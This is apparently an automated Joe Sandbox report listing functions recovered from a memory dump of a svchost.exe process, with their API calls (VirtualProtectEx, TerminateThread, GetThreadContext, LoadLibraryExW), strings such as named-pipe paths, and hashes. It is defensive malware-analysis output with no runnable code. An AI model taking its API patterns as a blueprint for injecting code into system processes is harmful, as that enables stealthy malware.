API String ID: 190073905-0
Opcode ID: 631ceae67eae31c045c263838f49675c0354f8d7e0c0c05f5239024a302f0f12
Instruction ID: f49bb9b9d80b117db9903789746e1270199453ebc1c1364e7fa6cde92d830728
Opcode Fuzzy Hash: 631ceae67eae31c045c263838f49675c0354f8d7e0c0c05f5239024a302f0f12
Instruction Fuzzy Hash: 1E81D331B802418FFE54AF66B44D3DD66D1EBB5B80F4A80169A699F7D6DB38C84D8700

Function 00000216819B7520 Relevance: 12.2, APIs: 8, Instructions: 228COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000216819B7548
__scrt_acquire_startup_lock.LIBCMT ref: 00000216819B759A
_RTC_Initialize.LIBCMT ref: 00000216819B75C8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000216819B75EE
__scrt_release_startup_lock.LIBCMT ref: 00000216819B7619

Memory Dump Source

Source File: 00000005.00000002.2625508344.00000216819B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216819B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_216819b0000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 631ceae67eae31c045c263838f49675c0354f8d7e0c0c05f5239024a302f0f12
Instruction ID: ba3c417bfb60e10b8c3c379fba3e1ee71c4e73dfb6e89b2352b27acafea1575d
Opcode Fuzzy Hash: 631ceae67eae31c045c263838f49675c0354f8d7e0c0c05f5239024a302f0f12
Instruction Fuzzy Hash: 3A81F731B107618EFF5C9BA9A44D3ED22D0A7B5780F574225AA48C77D6EB38C94DC701

Function 00000216819BA148 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 00000216819BA1CD
GetLastError.KERNEL32 ref: 00000216819BA1DB
LoadLibraryExW.KERNEL32 ref: 00000216819BA205
FreeLibrary.KERNEL32 ref: 00000216819BA273
GetProcAddress.KERNEL32 ref: 00000216819BA27F

Strings

api-ms-, xrefs: 00000216819BA1ED

Memory Dump Source

Source File: 00000005.00000002.2625508344.00000216819B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216819B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_216819b0000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 1bda5a7f51937e5fba9747c90859e34dfa5f89533a2a1b8d1dea998784ab284d
Instruction ID: 31a5975f716846480eb05b1e16f4336731cd4458d17d25f082acd2214823b98f
Opcode Fuzzy Hash: 1bda5a7f51937e5fba9747c90859e34dfa5f89533a2a1b8d1dea998784ab284d
Instruction Fuzzy Hash: 77318C31212A60A9EE62DB42A80C7DD63E4BB69BB0F5B0625DD5D4B390EF39C48D8310

Function 00000216819C4324 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000216819C4355
GetLastError.KERNEL32 ref: 00000216819C4361
CloseHandle.KERNEL32 ref: 00000216819C4379
CreateFileW.KERNEL32 ref: 00000216819C43A4
WriteConsoleW.KERNEL32 ref: 00000216819C43C3

Strings

CONOUT$, xrefs: 00000216819C4385

Memory Dump Source

Source File: 00000005.00000002.2625508344.00000216819B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216819B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_216819b0000_svchost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 4c50c600c840af11fb29c95c0db3c2be4712be37c9ecc349f2f252041d9feab2
Instruction ID: 9ce688ee93ba90ac0c84ef49c1703882f7e0d67c32f2dcf740e79a2fb6622ad8
Opcode Fuzzy Hash: 4c50c600c840af11fb29c95c0db3c2be4712be37c9ecc349f2f252041d9feab2
Instruction Fuzzy Hash: ED118F32314A808AEB508B52F95C39D76A0F7E8FE5F054224EA9E87B94DF38C8188744

Function 00000216819B37A4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000216819B37B2
GetCurrentProcess.KERNEL32 ref: 00000216819B37E0
VirtualProtectEx.KERNEL32 ref: 00000216819B3802
GetCurrentProcess.KERNEL32 ref: 00000216819B381D
VirtualProtectEx.KERNEL32 ref: 00000216819B383E

Strings

wr, xrefs: 00000216819B3813

Memory Dump Source

Source File: 00000005.00000002.2625508344.00000216819B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216819B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_216819b0000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d02d62af4a13f9151a1d64f675f2e823d7ed1e1e396348dfe74f8be14938124b
Instruction ID: 5f9aef3c9174a1739a59fd907a99b75256bf9e1f006052577327139885cb0591
Opcode Fuzzy Hash: d02d62af4a13f9151a1d64f675f2e823d7ed1e1e396348dfe74f8be14938124b
Instruction Fuzzy Hash: 4A115B36704B508AEF24DB12F44C2AD62B0FB98B95F460029DE8D07B94EF3DC648C704

Function 00000216819B5B40 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000216819B5B7B
GetThreadContext.KERNEL32 ref: 00000216819B5CE5

Part of subcall function 00000216819B5970: GetCurrentThreadId.KERNEL32 ref: 00000216819B5974

Memory Dump Source

Source File: 00000005.00000002.2625508344.00000216819B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216819B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_216819b0000_svchost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 2460c92bfe80c12f43b9e41940236e3d31cb2b1f5e55ffad558bfd096889bb43
Instruction ID: 144a9ee46fec38c6331d903ef6d07f2e853d302d3e43114fb5f259d75b68a60e
Opcode Fuzzy Hash: 2460c92bfe80c12f43b9e41940236e3d31cb2b1f5e55ffad558bfd096889bb43
Instruction Fuzzy Hash: 40D1A936205B9886EE70DB16E49839EB7A0F3D8B84F514216EACE477A9DF3CC545CB00

Function 00000216819B14A4 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000216819B14CA
HeapFree.KERNEL32 ref: 00000216819B14D9
GetProcessHeap.KERNEL32 ref: 00000216819B14E6
HeapFree.KERNEL32 ref: 00000216819B14F5
GetProcessHeap.KERNEL32 ref: 00000216819B1505

Strings

C:\Windows\System32\svchost.exe, xrefs: 00000216819C61A9, 00000216819C61B1

Memory Dump Source

Source File: 00000005.00000002.2625508344.00000216819B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216819B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_216819b0000_svchost.jbxd

Similarity

API ID: Heap$Process$Free
String ID: C:\Windows\System32\svchost.exe
API String ID: 3168794593-3822071397
Opcode ID: 8f6c8013f26ca493c8b85487be1e8632cd5ea831c810228ac57a4b2b7c934696
Instruction ID: 00b32960d93923937e65119abd5c1dcf28b03c30f66026aa582642a902e3e0ba
Opcode Fuzzy Hash: 8f6c8013f26ca493c8b85487be1e8632cd5ea831c810228ac57a4b2b7c934696
Instruction Fuzzy Hash: 59316BB7509AC09FFB558F66A85D28D2FA0F3E9F42F0B8016DAC403387EA2594098700

Function 00000216819BD510 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000216819BD51F
FlsSetValue.KERNEL32(?,?,?,00000216819BDC25,?,?,?,?,00000216819BDCE8), ref: 00000216819BD555
FlsSetValue.KERNEL32(?,?,?,00000216819BDC25,?,?,?,?,00000216819BDCE8), ref: 00000216819BD582
FlsSetValue.KERNEL32(?,?,?,00000216819BDC25,?,?,?,?,00000216819BDCE8), ref: 00000216819BD593
FlsSetValue.KERNEL32(?,?,?,00000216819BDC25,?,?,?,?,00000216819BDCE8), ref: 00000216819BD5A4
SetLastError.KERNEL32 ref: 00000216819BD5BF

Memory Dump Source

Source File: 00000005.00000002.2625508344.00000216819B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216819B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_216819b0000_svchost.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 5a5575a5d1708c946e79aad68248bc2e3b8df018e302dfb520b8908bc7679156
Instruction ID: 5c52ae74f7ddc9b508f2cc68e7077d448a61f197ea34f71a0585107c8f5e101b
Opcode Fuzzy Hash: 5a5575a5d1708c946e79aad68248bc2e3b8df018e302dfb520b8908bc7679156
Instruction Fuzzy Hash: 4311B6303046708EFE58A732955D3ED72D66B687FCF164724A87A077DEDE68C8098340

Function 00000216819B19A4 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00000216819B19CA
K32GetModuleFileNameExW.KERNEL32 ref: 00000216819B19E8
PathFindFileNameW.SHLWAPI ref: 00000216819B19F7
lstrlenW.KERNEL32 ref: 00000216819B1A03
StrCpyW.SHLWAPI ref: 00000216819B1A16
CloseHandle.KERNEL32 ref: 00000216819B1A24

Memory Dump Source

Source File: 00000005.00000002.2625508344.00000216819B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216819B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_216819b0000_svchost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 8727d58878f2a869f14b8fd26c384ee344685f44cd71b3c6aa4d19fd6db2488a
Instruction ID: a785752bf74330900625d384dc3d620be5a3ebca11633b9af7793e05491854f5
Opcode Fuzzy Hash: 8727d58878f2a869f14b8fd26c384ee344685f44cd71b3c6aa4d19fd6db2488a
Instruction Fuzzy Hash: E8012931300A408AEB54DB52B85C79D63A1F798BC1F894035DE8943755DF3CC98D8740

Function 00000216819B36DC Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000216819B36F8
GetCurrentProcess.KERNEL32 ref: 00000216819B3706
VirtualProtectEx.KERNEL32 ref: 00000216819B3728
GetCurrentProcess.KERNEL32 ref: 00000216819B3746
VirtualProtectEx.KERNEL32 ref: 00000216819B3767
TerminateThread.KERNEL32 ref: 00000216819B3776

Memory Dump Source

Source File: 00000005.00000002.2625508344.00000216819B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216819B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_216819b0000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 6a4903f23145d629ccf7c0814750504573150cedf00e013b6ac3f495348c8662
Instruction ID: 51d672c049acfc95fcd196a18afc7f38eec3f9cc59ccf9b460144e796f14ae2b
Opcode Fuzzy Hash: 6a4903f23145d629ccf7c0814750504573150cedf00e013b6ac3f495348c8662
Instruction Fuzzy Hash: 0301E575611B408AEF24DB22F85C79E72B0BBA9B86F064128CA8D17765EF3DC54CC700

Function 00000216819B1A48 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 00000216819B1A68
StrCmpNIW.SHLWAPI ref: 00000216819B1A82
lstrlenW.KERNEL32 ref: 00000216819B1A91
StrCpyW.SHLWAPI ref: 00000216819B1AA6

Strings

\\?\, xrefs: 00000216819B1A76

Memory Dump Source

Source File: 00000005.00000002.2625508344.00000216819B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216819B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_216819b0000_svchost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: 5d436592c77a9924c69bcb50891f68179583d79dfa63631e028aef339bed858e
Instruction ID: 8da5cbbe4d6bb8a14f153af897fbcda62d7ae12b9d5dd8853b881f13034b0831
Opcode Fuzzy Hash: 5d436592c77a9924c69bcb50891f68179583d79dfa63631e028aef339bed858e
Instruction Fuzzy Hash: 60F04F323046819AEF608B61F49C7DE67A0F768BC8F854130DA8946A55EF7CC68CCB00

Function 00000216819B3058 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 00000216819B307A
StrCpyW.SHLWAPI ref: 00000216819B308A
StrCatW.SHLWAPI ref: 00000216819B3096
PathCombineW.SHLWAPI ref: 00000216819B30A4

Strings

\\.\pipe\, xrefs: 00000216819B3070

Memory Dump Source

Source File: 00000005.00000002.2625508344.00000216819B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216819B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_216819b0000_svchost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 230e05f875843765b10c94681cacd2039b66fa3fae77185737d73b0c30566c8e
Instruction ID: b73af96e8a47a6d0527908d1dc92b5a7b22636392e623753de926ac529fd503e
Opcode Fuzzy Hash: 230e05f875843765b10c94681cacd2039b66fa3fae77185737d73b0c30566c8e
Instruction Fuzzy Hash: 42F0A030714B9486EE148B13B91C19DA360EB6CFD0F098030EE8A07B19CF3CC58E8700

Function 00000216819BC208 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000216819BC22D
GetProcAddress.KERNEL32 ref: 00000216819BC243
FreeLibrary.KERNEL32 ref: 00000216819BC26A

Strings

mscoree.dll, xrefs: 00000216819BC224
CorExitProcess, xrefs: 00000216819BC23C

Memory Dump Source

Source File: 00000005.00000002.2625508344.00000216819B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216819B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_216819b0000_svchost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0e03656a98ecf47c8c70bd094229c94189d23a90474f93e2876379b06086d007
Instruction ID: d4f988b161efeb3e7b7bff568bdd6eb425630b625771d81dfa5b61351f0dcb39
Opcode Fuzzy Hash: 0e03656a98ecf47c8c70bd094229c94189d23a90474f93e2876379b06086d007
Instruction Fuzzy Hash: 44F06D71211A0486EF148B64F84C3AD6320FBA9BA1F550629DAAE462E4CF2CC44CC300

Function 00000216819B50E0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000216819B5166

Memory Dump Source

Source File: 00000005.00000002.2625508344.00000216819B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216819B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_216819b0000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: d320431a3885b97cf1102f80532d88567ca490bad17f23be6033182695dcdf12
Instruction ID: 229e00a9c465781b392b78cd0cd3bdf0c9b794ed1186bf7ea0b973ab56e0156d
Opcode Fuzzy Hash: d320431a3885b97cf1102f80532d88567ca490bad17f23be6033182695dcdf12
Instruction Fuzzy Hash: EC02CB36219B948AEB60CB55F49839EB7A1F3D5B94F114115EA8E87BA8DF7CC448CB00

Function 00000216819B5720 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000216819B5736

Memory Dump Source

Source File: 00000005.00000002.2625508344.00000216819B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216819B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_216819b0000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 58d07a547137d2bff2769a738302b31e3611db479abe89d2490128d207b61db9
Instruction ID: be500c7dfdd4105a273f80a051afa8bbaeaa17ea96fb611f661f61d4486c925e
Opcode Fuzzy Hash: 58d07a547137d2bff2769a738302b31e3611db479abe89d2490128d207b61db9
Instruction Fuzzy Hash: 8F61DB36619B54CAFB60CB15E49C39EB7A0F398784F514115EA8E87BA8DB7CC548CF00

Function 0000021681993A74 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 0000021681993A9C
_set_statfp.LIBCMT ref: 0000021681993AB7
_set_statfp.LIBCMT ref: 0000021681993AD3
_set_statfp.LIBCMT ref: 0000021681993B0F

Memory Dump Source

Source File: 00000005.00000002.2624132952.0000021681980000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000021681980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21681980000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 0f0b95282461109e40faf74e68c7752b6b6c483ff8225b241b29f6271b1f12ba
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: B311C676F61A000DFE651978D97E3ED31416F79374F0B0634A97E076EADA6C8ACD4200

Function 00000216819C4674 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000216819C469C
_set_statfp.LIBCMT ref: 00000216819C46B7
_set_statfp.LIBCMT ref: 00000216819C46D3
_set_statfp.LIBCMT ref: 00000216819C470F

Memory Dump Source

Source File: 00000005.00000002.2625508344.00000216819B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216819B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_216819b0000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: f792815cef8b7c4627d9b2860fb30326119901529685bae8c5355aeba82124c1
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: C511C436B50A518EFF642168EA4E3ED11506B793B8F0B0734BAF7076EECA28984D4200

Function 00000216819B8580 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000216819B85AB
_IsNonwritableInCurrentImage.LIBCMT ref: 00000216819B8642
RtlUnwindEx.NTDLL ref: 00000216819B869C

Strings

csm, xrefs: 00000216819B8629

Memory Dump Source

Source File: 00000005.00000002.2625508344.00000216819B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216819B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_216819b0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 34f41f65ebeee98072c04c36ffcb08d764f10b3598a8f5a66480d6cdd8a7e9c2
Instruction ID: c982b19fa4377e11e101d37bb51d771f761c7f3e7469a3702b1533c2db390b39
Opcode Fuzzy Hash: 34f41f65ebeee98072c04c36ffcb08d764f10b3598a8f5a66480d6cdd8a7e9c2
Instruction Fuzzy Hash: FF51D332311620CEEF54CF25E48CBAC77A5F768B98F538125EA8A47788DB79C859C700

Function 00000216819BAFC0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00000216819BB01F
_CallSETranslator.LIBVCRUNTIME ref: 00000216819BB06B

Strings

RCC, xrefs: 00000216819BB03B
MOC, xrefs: 00000216819BB033

Memory Dump Source

Source File: 00000005.00000002.2625508344.00000216819B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216819B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_216819b0000_svchost.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 8ebe29515744ec85b4c7a5c69406529571aeda380531785c74bea0d93e5ddae6
Instruction ID: 57358ce0ebe6c39b2528c5d5abac73d57a6c78277dde2497c2f859897d371b04
Opcode Fuzzy Hash: 8ebe29515744ec85b4c7a5c69406529571aeda380531785c74bea0d93e5ddae6
Instruction Fuzzy Hash: D161A273508BD48AEB718F15E4483DEB7A0F7A9B98F054215EB9903B99DB7CC198CB00

Function 000002168198A770 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002168198A798
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000002168198A880

Strings

csm, xrefs: 000002168198A7BA
csm, xrefs: 000002168198A8D2

Memory Dump Source

Source File: 00000005.00000002.2624132952.0000021681980000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000021681980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21681980000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 54601b73b573f90b6a3621b815e414a07fc66bdc2a6778d7d0011f6600b73964
Instruction ID: 458d5abda429c4ea281d79907b0f1732159f9f9538b4b2d9e279b25f0bd9240f
Opcode Fuzzy Hash: 54601b73b573f90b6a3621b815e414a07fc66bdc2a6778d7d0011f6600b73964
Instruction Fuzzy Hash: 97518F365982808FEF749F25944C39C77A0F3A4BA4F1A8116DF8947BD5DB38D899CB01

Function 00000216819BB370 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000216819BB398
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000216819BB480

Strings

csm, xrefs: 00000216819BB3BA
csm, xrefs: 00000216819BB4D2

Memory Dump Source

Source File: 00000005.00000002.2625508344.00000216819B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216819B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_216819b0000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 54601b73b573f90b6a3621b815e414a07fc66bdc2a6778d7d0011f6600b73964
Instruction ID: 7a93ab4fe560e0e0a38271fa6d979a1deccc988d318c273572c6de70b1330f3b
Opcode Fuzzy Hash: 54601b73b573f90b6a3621b815e414a07fc66bdc2a6778d7d0011f6600b73964
Instruction Fuzzy Hash: A9518D721046A0CEEF748F26998C39C77A1F365B98F1A4115DB8A87BD5CB78D4A8CB01

Function 00000216819B2F18 Relevance: 6.3, APIs: 5, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000216819B2F3B
HeapAlloc.KERNEL32 ref: 00000216819B2F4E
StrCmpNIW.SHLWAPI ref: 00000216819B2FC3
GetProcessHeap.KERNEL32 ref: 00000216819B3029
HeapFree.KERNEL32 ref: 00000216819B3037

Memory Dump Source

Source File: 00000005.00000002.2625508344.00000216819B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216819B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_216819b0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 787e2ccd3a4a2f0807cc7fcfab9808ef1bc99af934d1353d068844bd3f29b985
Instruction ID: 74df5f5ef537270e389c43e684c005ce16e03a9a293af8a84c23fafbf82ef783
Opcode Fuzzy Hash: 787e2ccd3a4a2f0807cc7fcfab9808ef1bc99af934d1353d068844bd3f29b985
Instruction Fuzzy Hash: BA318332701B658AEF54DF16E54C7AD67A0FB64B80F4A4020DF4C47B55EF38D4A98700

Function 00000216819C25C8 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000216819C2647
WriteFile.KERNEL32 ref: 00000216819C290F
WriteFile.KERNEL32 ref: 00000216819C2955
GetLastError.KERNEL32 ref: 00000216819C2A0B

Memory Dump Source

Source File: 00000005.00000002.2625508344.00000216819B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216819B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_216819b0000_svchost.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: ef5328ec8df5305a5bebb05340c2e4b6dc17e77d604934f64985ec379b581ae8
Instruction ID: 411f23bce3e88c341b72d7c991107ad7717c980a74ac115df9daba2b46d94ed8
Opcode Fuzzy Hash: ef5328ec8df5305a5bebb05340c2e4b6dc17e77d604934f64985ec379b581ae8
Instruction Fuzzy Hash: E0D1BE32B15A808DEB21CFA9D5483EC37B1F364BD8F554216DE9DA7B99DA34C44AC340

Function 00000216819C2EF0 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 00000216819C300C
GetLastError.KERNEL32 ref: 00000216819C3097

Memory Dump Source

Source File: 00000005.00000002.2625508344.00000216819B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216819B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_216819b0000_svchost.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 43d1806d22cf26bb578584b1f50928cd79f72239213f1d2f409b9d03dcc02cf4
Instruction ID: 0be8cfa03d53cb57b6abb7abcd1d48e644ceafe13a72ced1a6208489aef15a50
Opcode Fuzzy Hash: 43d1806d22cf26bb578584b1f50928cd79f72239213f1d2f409b9d03dcc02cf4
Instruction Fuzzy Hash: 9791CD727106948DFF60DF69988C3ED2BB0F764B88F164109DE8E67A94DB35C68AD700

Function 00000216819B7970 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00000216819B799C
GetCurrentThreadId.KERNEL32 ref: 00000216819B79AA
GetCurrentProcessId.KERNEL32 ref: 00000216819B79B6
QueryPerformanceCounter.KERNEL32 ref: 00000216819B79C6

Memory Dump Source

Source File: 00000005.00000002.2625508344.00000216819B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216819B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_216819b0000_svchost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: c25137996cf865269d3dc01569cfdf526b316795659beb4b1a68d386b57b9efa
Instruction ID: d2e308a2b4aa95d3dd345c71bd648825a65c40371fa9aafa37475373303f0a64
Opcode Fuzzy Hash: c25137996cf865269d3dc01569cfdf526b316795659beb4b1a68d386b57b9efa
Instruction Fuzzy Hash: 44111832710B018AEF00DBA0E8583EC33A4F769758F450E21DA6D867A8EB78D1988340

Function 00000216819B2544 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000216819B2628
StrCpyW.SHLWAPI ref: 00000216819B2641

Part of subcall function 00000216819B3858: StrCmpNIW.SHLWAPI ref: 00000216819B3870

Strings

\\.\pipe\, xrefs: 00000216819B2633

Memory Dump Source

Source File: 00000005.00000002.2625508344.00000216819B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216819B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_216819b0000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 2214ffb8d2229323086ad34a8b531e28ba158b85d1d3dbad5c7c70fb1dba52b7
Instruction ID: e3e0ee880a66244a0dfdc49d4dab3b219d327fe8cecf664af1ce3d55310b2b4d
Opcode Fuzzy Hash: 2214ffb8d2229323086ad34a8b531e28ba158b85d1d3dbad5c7c70fb1dba52b7
Instruction Fuzzy Hash: EC71B236200BA189EF34DF25989C3EE7798F7A5784F82012ADD4D47B89DB35E6498704

Function 0000021681987980 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000216819879AB
_IsNonwritableInCurrentImage.LIBCMT ref: 0000021681987A42

Strings

csm, xrefs: 0000021681987A29

Memory Dump Source

